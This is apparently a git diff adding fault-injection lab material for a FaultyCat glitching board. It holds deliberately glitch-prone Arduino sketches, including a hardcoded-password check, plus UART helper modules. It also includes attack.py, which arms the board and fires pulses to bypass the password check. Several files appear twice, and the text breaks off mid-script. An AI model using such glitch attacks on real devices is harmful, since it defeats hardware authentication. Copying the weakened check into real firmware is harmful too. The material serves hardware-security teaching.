+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
